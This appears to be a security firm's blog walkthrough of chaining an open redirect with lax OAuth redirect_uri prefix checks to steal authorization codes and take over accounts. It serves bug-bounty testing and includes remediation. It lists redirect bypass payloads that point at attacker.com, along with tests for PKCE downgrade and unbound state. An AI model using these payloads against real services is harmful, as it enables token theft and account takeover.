Open Redirect to OAuth Token Theft: A Real-World Chain Walkthrough
Cybersecurity
Open redirects are routinely closed as informational. Pair one with an OAuth flow that trusts the redirect_uri prefix, and you have a one-click account takeover. Here is the chain end to end, with the bypass tables triagers will respect.
By Arjun Raghavan, Security & Systems Lead, BIPI · June 11, 2023 · 10 min read
Why open redirects are dismissed
On their own, open redirects only let an attacker bounce a victim to a phishing page. Most programs close them as informational. The exception is when an OAuth or SSO flow uses the same domain as a redirect_uri allowlist anchor.
The OAuth bug class
Many OAuth implementations check that redirect_uri starts with a trusted prefix, like https://app.example.com/. They do not check the full path. Any open redirect under app.example.com becomes a redirect_uri the authorization server will trust.
The chain
- Find an open redirect under the OAuth-allowlisted origin
- Build an authorize URL with redirect_uri pointing to the open redirect, with attacker.com in the redirect target
- Send the link to the victim, who is already logged in
- The authorization server issues a code, the open redirect bounces it to attacker.com, the attacker exchanges the code for tokens
Open redirect bypass table
- Plain ?next=https://attacker.com
- Protocol relative ?next=//attacker.com
- Backslash trick ?next=/\\attacker.com
- URL-encoded ?next=%2F%2Fattacker.com
- Whitelisted host as path ?next=https://app.example.com.attacker.com
- Userinfo trick ?next=https://app.example.com@attacker.com
Programs that block the obvious patterns often miss two or three of these. Test every one.
Public clients make it worse
Mobile and SPA OAuth clients are public, no client_secret. An authorization code from a public client can be exchanged by anyone, so an open redirect plus a public client equals direct token theft.
PKCE, and why programs misconfigure it
PKCE prevents this attack when implemented correctly. But many programs treat PKCE as optional, allow downgrade by omitting code_challenge, or accept S256 and plain interchangeably. Test for all three.
State parameter abuse
If the application does not bind state to the user's session, the attacker can initiate the OAuth flow themselves, capture the code, and inject it into the victim's browser. This is the classic OAuth CSRF login attack. Combine with the open redirect and you have variations.
Reporting impact
Frame the report as one-click account takeover via OAuth redirect_uri prefix trust. Do not bury the lead. The open redirect is an enabler, the ATO is the bug.
Remediation in the report
- Require exact-match redirect_uri, not prefix
- Mandate PKCE with S256 for all clients
- Bind state to the user session and reject missing state
- Fix the open redirect, of course
An open redirect on the right domain is never informational. It is the missing link in someone's account takeover chain.
PoC harness
A two-page demo, attacker.html that issues the crafted authorize link, and a listener that captures the code or token and exchanges it. Record the flow once, ship it with the report.
Read more field notes, explore our services, or get in touch at info@bipi.in. Privacy Policy · Terms.